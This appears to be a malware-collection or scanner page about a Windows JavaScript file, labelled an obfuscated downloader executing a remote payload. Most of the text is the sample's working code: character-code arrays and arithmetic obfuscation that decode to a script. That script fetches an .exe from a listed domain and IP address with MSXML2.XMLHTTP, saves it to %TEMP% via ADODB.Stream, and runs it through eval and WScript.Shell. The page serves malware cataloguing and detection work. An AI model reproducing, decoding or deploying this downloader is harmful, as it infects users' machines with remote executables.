Suspicious 80% javascript-malware-collection Download

20151209_d22aaab60c2716e1abd2ba9e62147e4b.js

Obfuscated downloader executing remote payload

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256675b7a8f972ce2804d171867398c69ca6521ba1fcdcb55b8cc099d5314de220e

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';KZfKw[126]='~';KZfKw[127]='';
3function dobbA(lfmgKEQrsOS,axlnufPkMxwQD,mcvkYHfY){agXb=parseInt(lfmgKEQrsOS,axlnufPkMxwQD);lEeWS=agXb.toString(mcvkYHfY);return lEeWS;}function jgUSYkHOeksATXy(jrEHbVmqQnErSWlqy){eval(jrEHbVmqQnErSWlqy)}
4function jqbtNHrRmDaXSzbSdyewCCMfZFPLxZoupFZrdzRhrKEWgIRkYtTxtA(rgoNJlonmrNDh,eldJtAFoFtdalB){ return KZfKw[dobbA(rgoNJlonmrNDh[eldJtAFoFtdalB],(860+450)/131,(6096+374)/647)];}
5function FsXvjOk(BaoUvAAxPbmzALFJuTtqnixzikCxTtAGEgJl) {return !isNaN(parseFloat(BaoUvAAxPbmzALFJuTtqnixzikCxTtAGEgJl)) && isFinite(BaoUvAAxPbmzALFJuTtqnixzikCxTtAGEgJl);}
6function kjNEWtJboOJ(LfZTQquD,kTsNan){return LfZTQquD.split(kTsNan)}
7var B=["13","10","13","10","118","97","114","32","121","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","54","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","103","106","68","32","61","40","40","49","47","42","86","119","69","66","56","56","55","49","53","52","53","57","54","110","54","52","49","54","53","53","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","109","84","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","103","106","68","41","59","13","10","118","97","114","32","114","104","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","104","115","118","32","61","32","109","84","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","114","104","41","59","13","10","118","97","114","32","74","110","65","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","108","114","68","32","61","32","74","110","65","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","112","97","32","61","32","116","114","117","101","32","32","44","32","118","67","67","105","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","70","80","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","3 …
8var c=["49","50","54","56","59","13","10","102","111","114","32","40","118","97","114","32","85","61","74","107","114","59","32","85","60","121","46","108","101","110","103","116","104","59","32","85","43","43","41","32","32","123","13","10","32","32","118","97","114","32","111","103","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","70","80","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","121","91","85","93","43","86","44","32","102","97","108","115","101","41","59","32","70","80","46","115","101","110","100","40","41","59","32","105","102","32","40","70","80","46","115","116","97","116","117","115","32","61","61","32","56","53","53","45","54","53","53","41","32","32","123","13","10","32","32","32","32","32","32","86","87","107","46","111","112","101","110","40","41","59","32","86","87","107","46","116","121","112","101","32","61","32","49","59","32","86","87","107","46","119","114","105","116","101","40","70","80","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","86","87","107","46","115","105","122","101","32","62","32","49","56","53","51","54","45","56","56","57","41","32","32","123","13","10","32","32","32","32","32","32","32","32","111","103","32","61","32","49","59","32","86","87","107","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","86","87","107","46","115","97","118","101","84","111","70","105","108","101","47","42","115","57","52","75","56","56","55","105","85","82","42","47","40","104","115","118","47","42","67","66","112","104","52","52","78","117","53","70","42","47","43","97","67","80","72","97","71","106","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32"," …
9var mhEjC=[B,c];
10var iHbiHMezF=[];
11function aQXmgtjuvZTBKvhih(mhEjC){bIWndzMDSeq= '';for(GyKpJozbcjB=(-492+492)/630; GyKpJozbcjB < (313+363)/338; GyKpJozbcjB++) {iHbiHMezF[GyKpJozbcjB]=(-386+386)/682; while(true) { if(iHbiHMezF[GyKpJozbcjB] > mhEjC[GyKpJozbcjB].length-(377+73)/450) { break; } if (FsXvjOk(dobbA(mhEjC[GyKpJozbcjB][iHbiHMezF[GyKpJozbcjB]],(8847+473)/932,(2016+304)/232))) {bIWndzMDSeq += jqbtNHrRmDaXSzbSdyewCCMfZFPLxZoupFZrdzRhrKEWgIRkYtTxtA([mhEjC[GyKpJozbcjB][iHbiHMezF[GyKpJozbcjB]]], (-141+141)/863);} iHbiHMezF[GyKpJozbcjB]++;}} return bIWndzMDSeq}
12jgUSYkHOeksATXy(aQXmgtjuvZTBKvhih(mhEjC));

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